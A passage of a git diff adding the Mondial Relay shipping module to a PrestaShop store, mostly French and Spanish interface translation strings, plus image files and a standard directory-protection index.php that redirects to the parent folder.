+$_MODULE['<{mondialrelay}prestashop>history_3eb2bc1ee46258d2a166e89398756b3e'] = 'Imprimir etiqueta A5'; +$_MODULE['<{mondialrelay}prestashop>history_9e50665937cbb2f3c833d3626a9f9abb'] = 'No hay historias disponibles'; +$_MODULE['<{mondialrelay}prestashop>history_fa98e6528c9df7f26978c2beb7de3d99'] = 'Eliminar el historial selecionado'; +$_MODULE['<{mondialrelay}prestashop>settings_0a4ee7474864081af12dba847fafdaa6'] = 'Pestaña de configuración del adm'; +$_MODULE['<{mondialrelay}prestashop>settings_d02bbc3cb147c272b0445ac5ca7d1a36'] = 'Estado del pedido'; +$_MODULE['<{mondialrelay}prestashop>settings_ca57625685f058f54d82c6e05876a131'] = 'Elige el estado por las etiquetas.'; +$_MODULE['<{mondialrelay}prestashop>settings_c9cc8cce247e49bae79f15173ce97354'] = 'Guardar'; +$_MODULE['<{mondialrelay}prestashop>settings_f4f70727dc34561dfde1a3c529b6205c'] = 'Ajustes'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_315a8895cf7c458597be5cf3c5b18d0b'] = 'No se puede crear la tabla metodo'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_e364c3962f360330a5d8084c3ef5cacf'] = 'No se puede cambiar el nombre de la tabla method'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_6384826d8bae08ec0ca4d1cd386a32c8'] = 'No se puede renombrar la tabla history'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_4c74bd0afa2a8ecb894674c9cd942da5'] = 'No se puede actualizar la tabla mr_method_shop'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.3_665cc27f3a529d80315dd49378a6c2bf'] = 'No se puede añadir un nuevo campo en la tabla method'; diff --git a/modules/mondialrelay2/fr.php b/modules/mondialrelay2/fr.php new file mode 100755 index 0000000..d924898 --- /dev/null +++ b/modules/mondialrelay2/fr.php @@ -0,0 +1,191 @@ +adminmondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Action terminée avec succès!'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_3b2d373418745276ae6e207421245cdc'] = 'Le statut de la commande a été mis à jour'; +$_MODULE['<{mondialrelay}prestashop>adminmondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Impossible de mettre à jour le compte'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_44585fcd617dce6416d8283b026714c1'] = 'Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ed4a3b96dc1f38c160775cac1f7bcd6d'] = 'Livrez vos colis en point relais'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_1889ea20d1343f376f5d52b6b8dc7a3f'] = 'Vous devez sélectionner un point relai avant de continuer.'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d2286c9c8c8f92cb0e805b17834591b0'] = 'Enseigne invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_709b076565df5fa98cdb2528d897633d'] = 'Code Marque invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c86508f5bc6b4456e7003d6a1868689d'] = 'Clé Webservice invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea9261a3dad976b40ff2088a19fda2c3'] = 'Langage invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_4eb287cc225ba0e1bcfe9cc1b8315def'] = 'Coefficient de poids invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_70ff82d47f295f730c6accf07a2948e8'] = 'Nom de transporteur invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e1f1787db2fee596f4c3bfaf1d098f8d'] = 'Col Mode invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_9414b7de379a09941e894d28f19949ae'] = 'Mode de livraison invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_5eeb9ca7eee4be7192dd10d917f79a12'] = 'Assurance invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8b446ac2013dc7085802de71cc342ead'] = 'Vous devez choisir au moins un pays de livraison'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_979c6094728c14aac1b66d544dc5cebd'] = 'Etat de commande invalide'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_e82faee1422140edd04b2f94c5051500'] = 'Action réussie'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_672facd73d4aee44c116cfd95298db87'] = 'Les informations du compte viennent d\'être mises à jour'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_b4ac3d3f15bc0984d0906aff1202e701'] = 'Impossibilité de mettre à jour les infos du compte pour cette boutique'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_ea50be3d60be594e10e9e3560cb9159f'] = 'Nouvelle méthode de transport ajoutée'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d0cfdfcfb71029b561f5ebdc176d87ca'] = 'Le statu de la commande à été mise à jour'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_7534411af2e35bed1f79df5938f077f9'] = 'Le transporteur a été supprimé (désactivé dans la base de données de PrestaShop)'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_2673bca5ba0a7871770e69c962e6ce38'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_0dbe844fb964d5eca2f51be724e43294'] = 'URL de l\'étiquette'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_c6aefd5e2191e1210a2f50416812b517'] = 'URL de suivi'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_61e70b58e38fd01daa254f44c4fa264b'] = 'Numéro du point relai:'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_aa625fced6f01ae595b6a9ac499c2ecf'] = 'La tranche de poids ne peut être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_63d15383121b5bb5c53323f3f96bd1f2'] = 'La tranche de prix ne peux être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_d4d197dd028e28ae56208971b564921a'] = 'La zone par défaut ne peut être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_760ac6deb1c5b84321f65ba0c7f319f5'] = 'La zone du transporteur ou les données de livraison ne peuvent être ajouté'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_8bf569ff65b32464e623ca9e9a10688d'] = 'Le transporteur ne peut être créé'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_6ed26bdf3f9141ddca4ede91f943e567'] = 'Le mode de transporteur ne peut être ajouté pour le module'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_af135815ccf731bcbffb522004762b57'] = 'Le transporteur ne peut être supprimé'; +$_MODULE['<{mondialrelay}prestashop>mondialrelay_bba366864d25056c941b72f18ef79e7c'] = 'Cette erreur n\'est pas mentionnée:'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_a1c3470a944b9625cfb924fd15c8bdbf'] = 'Veuillez choisir au moins une commande'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_306b346c19017609403424203ea3d720'] = 'est vide et doit être renseignée'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_8184ba43565d0d65b7b1739f2cef25c8'] = 'La requete semble invalide'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_eabb11bf9623f08409a0a4c9d035a336'] = 'Numéro d\'expédition :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_b92c3d3319314513c547675924ceecd1'] = 'URL du Ticket :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_66b793b6b4125e300717e8cf7449f533'] = 'Url de Tracking :'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_952a812236cabbd70b949ecb43f89c82'] = 'Le webservice Mondial Relay semble être déconnecté'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_26b6b6eaec970108c5e84286159fbf48'] = 'Merci de vérifier la configuration de votre langue'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_557595c2e17c9948a9448eb763ac1a88'] = 'Merci de vérifier la configuration de votre nom de boutique'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_017ca6b770ad53669a4eec82894dfcd3'] = 'Merci de vérifier la configuration de votre adresse 1'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_3f79e1fc66b4f9cca7bd68cab176020d'] = 'Merci de vérifier la configuration de votre ville'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_404665d9b65239985d59b30b3dcb26b5'] = 'Merci de vérifier la configuration de votre code postal'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_0b8a30478b9572b86718989d483fd88d'] = 'Merci de vérifier la configuration de votre pays'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_7ddf2d94bf037b7d1088c0600ea589c3'] = 'Merci de vérifier la configuration de votre téléphone'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_9c7ce7be9a2c593b24d448edb4f804e0'] = 'Merci de vérifier la configuration de votre email'; +$_MODULE['<{mondialrelay}prestashop>mrcreatetickets_85e6a18230d49abf8cfe912809185258'] = 'La validation du code postal ne peux être effectué sur une version de PrestaShop inférieur à la 1.4'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_14288d48d107056c1acf8aaae1bf282b'] = 'L\'adresse du client ne peut etre trouvé'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_135a7b9a62531e066a95093d8951b344'] = 'n\'a pas un format valide'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semblerai que la requete n\'est pas valide'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_c9b4de92f371ae545ad6f051c07d58ca'] = 'Il y a une erreur numéro'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détail :'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_4e274658c9e97c2a336dde79dd0a7772'] = 'MondialRelay ne peux trouver aucun point relais proche de votre adresse. Peut etre que votre adresse n\'est pas correctement rempli ?'; +$_MODULE['<{mondialrelay}prestashop>mrgetrelaypoint_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice MondialRelay n\'est pas joignable'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_135a7b9a62531e066a95093d8951b344'] = 'n\'a pas un format valide'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semble que la requête soit invalide :'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}prestashop>mrgettickets_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice Mondial Relay est actuellement innaccessible.'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_38b4abe2f5860f034e315f2da648a3d6'] = 'Désintaller MondialRelay'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a4691c957e81a6f0b6f0ed44f8f2dfe8'] = 'Vous allez désintaller le module : voulez vous aussi effacer les paramètres relatifs à Mondial Relay?'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_09c081633d484a62a2f6940c12a0de36'] = 'Garder et désintaller'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_0b7f47fce1d82d53244771c64b1535c0'] = 'Supprimer et désinstaller'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_ea4788705e6873b424c65e91c2846b19'] = 'Annuler'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_a42bb0eaa485682166770a54469385f6'] = 'Certaines étiquettes ne peuvent pas être supprimées : veuillez réessayer un peu plus tard.'; +$_MODULE['<{mondialrelay}prestashop>mrmanagement_11744bfebb33e52be37a66a530b7045d'] = 'Veuillez choisir au moins un élèment de l\'historique'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_14288d48d107056c1acf8aaae1bf282b'] = 'L\'adresse du client ne peut être trouvé'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_dc41aac14af17f1d19fca5e3b9439e74'] = 'Cette clé'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_306b346c19017609403424203ea3d720'] = 'est vide et doit être renseignée'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_e6940b76f045c8bc0aaaa5b2476cdaf7'] = 'Il semble que la requête ne soit pas valide'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c9b4de92f371ae545ad6f051c07d58ca'] = 'Erreur numéro :'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_ea5f761be4e4888eabf4e1501d7817d1'] = 'Détails :'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_6f8522e0610541f1ef215a22ffa66ff6'] = 'Lundi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_5792315f09a5d54fb7e3d066672b507f'] = 'Mardi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_796c163589f295373e171842f37265d5'] = 'Mercredi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_78ae6f0cd191d25147e252dc54768238'] = 'Jeudi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_c33b138a163847cdb6caeeb7c9a126b4'] = 'Vendredi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_8b7051187b9191cdcdae6ed5a10e5adc'] = 'Samedi'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_9d1a0949c39e66a0cd65240bc0ac9177'] = 'Dimanche'; +$_MODULE['<{mondialrelay}prestashop>mrrelaydetail_2653c23b8c0daac59571e4be5e8fa7d0'] = 'Le webservice Mondial Relay est actuellement innaccessible.'; +$_MODULE['<{mondialrelay}prestashop>checkout_process_836f6c949a2f2d61489bf410def82111'] = 'Mondialrelay ne peut récupérer les points relais du à une erreur de Prestashop'; +$_MODULE['<{mondialrelay}prestashop>configuration_0f27e5e9020f28e3f31b78376e11d4c7'] = 'Configuration de Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_8bc212f48680748479bbd322d4d73d3f'] = 'Détails du compte'; +$_MODULE['<{mondialrelay}prestashop>configuration_ea9cf7e47ff33b2be14e6dd07cbcefc6'] = 'Transporteur'; +$_MODULE['<{mondialrelay}prestashop>configuration_fe4c6a5e7bd6793b37370e4e46daf998'] = 'Paramètres avancés'; +$_MODULE['<{mondialrelay}prestashop>configuration_326e057f57e830834c20d668e44627ef'] = 'Infos'; +$_MODULE['<{mondialrelay}prestashop>configuration_29141d2b5a484e8032ef64339733f0dc'] = 'Merci de configurer le détail votre compte'; +$_MODULE['<{mondialrelay}prestashop>configuration_5a2355a42ba3ab265701183c914467f2'] = 'Essayez de désactiver le cache et de forcer la compilation smarty'; +$_MODULE['<{mondialrelay}prestashop>configuration_3de769f9a81eed916583d5b35c58dbdd'] = 'si vous rencontrez le moindre problème après une mise à jour du module'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f8b21bd013b38d1e3059557c22a57e7'] = 'Consulter le manuel pour vous guider dans la configuration de Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_d21a9f93917604d5490ad529a7cf1ff9'] = 'Pour créer un transporteur Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_c6a2e6af5fff47adb3afd780b97d9b4b'] = 'Remplissez et sauvegardez vos paramètres Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_b29c4694f835ad29b9893cd3fed36fbc'] = 'Créez un transporteur en utilisant le bouton \'Transporteur\''; +$_MODULE['<{mondialrelay}prestashop>configuration_b962d8fb95f5a439f50502152f3bad71'] = 'Définissez un prix pour votre transporteur sur'; +$_MODULE['<{mondialrelay}prestashop>configuration_faf1247ae6846a9955a466d4f301bbe4'] = 'La page Transporteurs'; +$_MODULE['<{mondialrelay}prestashop>configuration_10d78806b84b97ebc774e9f6277af6ac'] = 'Pour générer vos étiquettes, vous devez avoir enregistré une adresse valide de votre boutique sur votre'; +$_MODULE['<{mondialrelay}prestashop>configuration_af5efea250326c1c34d69aa9364b482c'] = 'page contact'; +$_MODULE['<{mondialrelay}prestashop>configuration_1ba3935c9858ffb8e19a35ca640b8505'] = 'Détails du compte Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>configuration_a125105400f6e4ee4574da3793af5ef2'] = 'Ces paramètres vous sont donnés par Mondial Relay une fois inscrit à leurs services'; +$_MODULE['<{mondialrelay}prestashop>configuration_12a3fbd35c1cab4b1101b91d708efd15'] = 'Enseigne Webservice :'; +$_MODULE['<{mondialrelay}prestashop>configuration_6f0434b67007b555dfd1201f4e0d5254'] = 'Code Marque :'; +$_MODULE['<{mondialrelay}prestashop>configuration_08f785193c96b2a78dec8d76a46648d6'] = 'Clé Webservice :'; +$_MODULE['<{mondialrelay}prestashop>configuration_0dae2d7c71f2daaedb00191af25dc28d'] = 'Langue des étiquettes'; +$_MODULE['<{mondialrelay}prestashop>configuration_a26329cba9723551cb8654deba32872b'] = 'Coefficient de Poids :'; +$_MODULE['<{mondialrelay}prestashop>configuration_99244b234ec089eca40ff9e8ec343e87'] = 'grammes = 1'; +$_MODULE['<{mondialrelay}prestashop>configuration_80eac24973917207249176589fb068ce'] = 'Par défaut le prix sera définit en fonction du poids total.'; +$_MODULE['<{mondialrelay}prestashop>configuration_61cbc2d26b4157292673c772ddd6c0f7'] = 'Mettre à jour le compte'; +$_MODULE['<{mondialrelay}prestashop>configuration_70397c4b252a5168c5ec003931cea215'] = 'Champs requis'; +$_MODULE['<{mondialrelay}prestashop>configuration_9ffc3ccc968a96d902af963c6d7b4e97'] = 'Paramètres avancés'; +$_MODULE['<{mondialrelay}prestashop>configuration_fcf5b2122da1d5a5f5c7253b96a3f9d9'] = 'URL de la tache CRON'; +$_MODULE['<{mondialrelay}prestashop>configuration_66661dacf33146201b60dc16520ddd68'] = 'Ajouter une méthode de transport'; +$_MODULE['<{mondialrelay}prestashop>configuration_531e144cc23ef08408b81cb4d9c641dc'] = 'Nom du transporteur'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f497c1a3d15af9e0c215019f26b887d'] = 'Délais '; +$_MODULE['<{mondialrelay}prestashop>configuration_201bdb87f8e278b943d07ae924d5de6e'] = 'Mode de livraison'; +$_MODULE['<{mondialrelay}prestashop>configuration_142ef02888af88b8b772335277d1c0c8'] = 'Livraison dans un point relais'; +$_MODULE['<{mondialrelay}prestashop>configuration_eeab8b7cf3c7a558a0e8a4050fa994ca'] = 'Livraison Colis Drive'; +$_MODULE['<{mondialrelay}prestashop>configuration_8f7794b107749728c3333ef38d2687e8'] = 'Livraison à domicile RDC (1 personne)'; +$_MODULE['<{mondialrelay}prestashop>configuration_e451efc8ce05b96b214b4c2935f2c657'] = 'Livraison à domicile spécialisée (2 personnes)'; +$_MODULE['<{mondialrelay}prestashop>configuration_eaff1bdf24fcffe0e14e29a1bff51a12'] = 'Assurance'; +$_MODULE['<{mondialrelay}prestashop>configuration_96ba408f20bc3e065f400c650d32fd1a'] = 'Sans assurance'; +$_MODULE['<{mondialrelay}prestashop>configuration_e5a8fafb1dfb538c172e1e014e86b871'] = 'Assurance complémentaire N1'; +$_MODULE['<{mondialrelay}prestashop>configuration_b02f8d6d4b6217cca317161c87f64065'] = 'Assurance complémentaire N2'; +$_MODULE['<{mondialrelay}prestashop>configuration_90b95ae88150c6a34c4129dc4f1ebbd5'] = 'Assurance complémentaire N3'; +$_MODULE['<{mondialrelay}prestashop>configuration_c15b40b8c535191f6f0b6f9beaced3cf'] = 'Assurance complémentaire N4'; +$_MODULE['<{mondialrelay}prestashop>configuration_b67a442fff3ca0a03ea253b0668f946d'] = 'Assurance complémentaire N5'; +$_MODULE['<{mondialrelay}prestashop>configuration_33cbd0d8b6476501f55a8320481ec0f1'] = 'Pays de livraison :'; +$_MODULE['<{mondialrelay}prestashop>configuration_aef71ba4fd060dea2e2c76d1b5076caf'] = 'Vous pouvez choisir plusieurs pays en appuyant sur Ctrl tout en sélectionnant les pays'; +$_MODULE['<{mondialrelay}prestashop>configuration_0309a6c666a7a803fdb9db95de71cf01'] = 'France'; +$_MODULE['<{mondialrelay}prestashop>configuration_6c1674d14bf5f95742f572cddb0641a7'] = 'Belgique'; +$_MODULE['<{mondialrelay}prestashop>configuration_06630c890abadde9228ea818ce52b621'] = 'Luxembourg'; +$_MODULE['<{mondialrelay}prestashop>configuration_907eba32d950bfab68227fd7ea22999b'] = 'Espagne'; +$_MODULE['<{mondialrelay}prestashop>configuration_0c24ec05a02c710cedd400e3680d8b81'] = 'Liste des transporteurs'; +$_MODULE['<{mondialrelay}prestashop>configuration_14039af96b01e718a9c9d9c1259b6472'] = 'Aucun transporteur créé'; +$_MODULE['<{mondialrelay}prestashop>configuration_daf999e234b6f358dda641bf381b685a'] = 'Modifier les paramètres de ce transporteur'; +$_MODULE['<{mondialrelay}prestashop>header_e0626222614bdee31951d84c64e5e9ff'] = 'Choisir'; +$_MODULE['<{mondialrelay}prestashop>header_91b442d385b54e1418d81adc34871053'] = 'Sélectionné'; +$_MODULE['<{mondialrelay}prestashop>header_ef2a1f426c2c289ed5986c7636a5d696'] = 'Merci de choisir un point relais'; +$_MODULE['<{mondialrelay}prestashop>header_80a0c205cd57b22fca7f174253870300'] = 'Heure d\'ouvertude'; +$_MODULE['<{mondialrelay}prestashop>header_2b56b60f878922093facd42284848a0c'] = 'Plus de détails'; +$_MODULE['<{mondialrelay}prestashop>order_detail_81b7b4587a2a3ea7a0d6bb1df3fbba54'] = 'Livraison dans'; +$_MODULE['<{mondialrelay}prestashop>order_detail_c2d05abc7f5ebdc72b6656df35038b43'] = 'Suivre mon colis sur le site de Mondial Relay'; +$_MODULE['<{mondialrelay}prestashop>post_action_466ec9f29b485204ef53818459da48af'] = 'erreur(s)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_8d63728960e021f7632a11922685705e'] = 'Merci de bien vouloir corriger les erreurs suivantes dans'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_264f456c4202f0aba86e481a246a3ef1'] = 'la page de contact'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_de21dc13e1ea638777fbfad49f88b332'] = 'Toutes les commandes qui auront un statut'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_378116486b5a90bb50fd4f1557698d96'] = 'seront disponibles pour la création d\'étiquette'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_5dadbd0ec9f0b182be4ead8dad39da79'] = 'Liste des commandes'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_d79cf3f429596f77db95c65074663a54'] = 'Numéro de commande'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_ce26601dac0dea138b7295f02b7620a7'] = 'Client'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_0eede552438475bdfe820c13f24c9399'] = 'Prix total'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_c28e0582276cb6747e37d948e1727929'] = 'Total frais d\'expédition'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_44749712dbec183e983dcd78a7736c41'] = 'Date'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_52150799c57e873360cca13c080a91b4'] = 'Mettez un poids (grammes)'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_6ccc0fdff9995e1a0fce00c99e5b6085'] = 'Numéro MR'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_f9c50cba4de9032d7a6797a2458f8ed9'] = 'Pays MR'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_428c091372d840900cf8536519fa0056'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_a254c25adc7d10d7e9c4889484f875a5'] = 'Détail'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_4351cfebe4b61d8aa5efa1d020710005'] = 'Voir'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_2e01172e31495f41fcebcf3f831cc82c'] = 'Opération réussie'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_37c85a61df6352af7285c307022c4413'] = 'Aucune commande disponible avec ce statut'; +$_MODULE['<{mondialrelay}prestashop>generate_tickets_32b919d18cfaca89383f6000dcc9c031'] = 'Générer'; +$_MODULE['<{mondialrelay}prestashop>history_4f1a377c20ace646ddd303ad1e1d243d'] = 'Historique de la création d\'étiquettes'; +$_MODULE['<{mondialrelay}prestashop>history_d79cf3f429596f77db95c65074663a54'] = 'Numéro de commande'; +$_MODULE['<{mondialrelay}prestashop>history_e1a98101d56e29eeea312a0eb2748a92'] = 'Numéro d\'expédition'; +$_MODULE['<{mondialrelay}prestashop>history_aab39f783ba2e72eaad1770f4d9ad0c4'] = 'Imprimer l\'étiquette format A4'; +$_MODULE['<{mondialrelay}prestashop>history_3eb2bc1ee46258d2a166e89398756b3e'] = 'Imprimer l\'étiquette format A5'; +$_MODULE['<{mondialrelay}prestashop>history_9e50665937cbb2f3c833d3626a9f9abb'] = 'Aucun historique disponible'; +$_MODULE['<{mondialrelay}prestashop>history_fa98e6528c9df7f26978c2beb7de3d99'] = 'Supprimer les historiques sélectionnés'; +$_MODULE['<{mondialrelay}prestashop>settings_0a4ee7474864081af12dba847fafdaa6'] = 'Configuration du panneau d\'administration'; +$_MODULE['<{mondialrelay}prestashop>settings_d02bbc3cb147c272b0445ac5ca7d1a36'] = 'État de la commande'; +$_MODULE['<{mondialrelay}prestashop>settings_ca57625685f058f54d82c6e05876a131'] = 'Choississez le statut pour la génération d\'étiquette.'; +$_MODULE['<{mondialrelay}prestashop>settings_c9cc8cce247e49bae79f15173ce97354'] = 'Sauvegarder'; +$_MODULE['<{mondialrelay}prestashop>settings_f4f70727dc34561dfde1a3c529b6205c'] = 'Paramètres'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_315a8895cf7c458597be5cf3c5b18d0b'] = 'Impossibilité de créer la table \'method shop\''; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_e364c3962f360330a5d8084c3ef5cacf'] = 'Imossibilité de changer le nom de la table \'method\''; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_6384826d8bae08ec0ca4d1cd386a32c8'] = 'Impossibilité de renommer la table d\'historique'; +$_MODULE['<{mondialrelay}prestashop>install-1.8.0_4c74bd0afa2a8ecb894674c9cd942da5'] = 'Impossibilité de mettre à jour la table \'method shop\''; +$_MODULE['<{mondialrelay}prestashop>install-1.8.3_665cc27f3a529d80315dd49378a6c2bf'] = 'Impossibilité de créer de nouveaux champs dans la table \'method\''; diff --git a/modules/mondialrelay2/images/details.gif b/modules/mondialrelay2/images/details.gif new file mode 100755 index 0000000..95eaaa9 Binary files /dev/null and b/modules/mondialrelay2/images/details.gif differ diff --git a/modules/mondialrelay2/images/error2.png b/modules/mondialrelay2/images/error2.png new file mode 100755 index 0000000..5d52e2f Binary files /dev/null and b/modules/mondialrelay2/images/error2.png differ diff --git a/modules/mondialrelay2/images/getTickets.gif b/modules/mondialrelay2/images/getTickets.gif new file mode 100755 index 0000000..b4c8c37 Binary files /dev/null and b/modules/mondialrelay2/images/getTickets.gif differ diff --git a/modules/mondialrelay2/images/help.png b/modules/mondialrelay2/images/help.png new file mode 100755 index 0000000..04d4851 Binary files /dev/null and b/modules/mondialrelay2/images/help.png differ diff --git a/modules/mondialrelay2/images/icones/account_detail.png b/modules/mondialrelay2/images/icones/account_detail.png new file mode 100755 index 0000000..f939bbd Binary files /dev/null and b/modules/mondialrelay2/images/icones/account_detail.png differ diff --git a/modules/mondialrelay2/images/icones/info.png b/modules/mondialrelay2/images/icones/info.png new file mode 100755 index 0000000..ea00799 Binary files /dev/null and b/modules/mondialrelay2/images/icones/info.png differ diff --git a/modules/mondialrelay2/images/icones/settings.png b/modules/mondialrelay2/images/icones/settings.png new file mode 100755 index 0000000..81160c9 Binary files /dev/null and b/modules/mondialrelay2/images/icones/settings.png differ diff --git a/modules/mondialrelay2/images/icones/supplier.png b/modules/mondialrelay2/images/icones/supplier.png new file mode 100755 index 0000000..8f2f4d1 Binary files /dev/null and b/modules/mondialrelay2/images/icones/supplier.png differ diff --git a/modules/mondialrelay2/images/index.php b/modules/mondialrelay2/images/index.php new file mode 100755 index 0000000..f42f03e --- /dev/null +++ b/modules/mondialrelay2/images/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; \ No newline at end of file diff --git a/modules/mondialrelay2/images/loader.gif b/modules/mondialrelay2/images/loader.gif new file mode 100755 index 0000000..afc385a Binary files /dev/null and 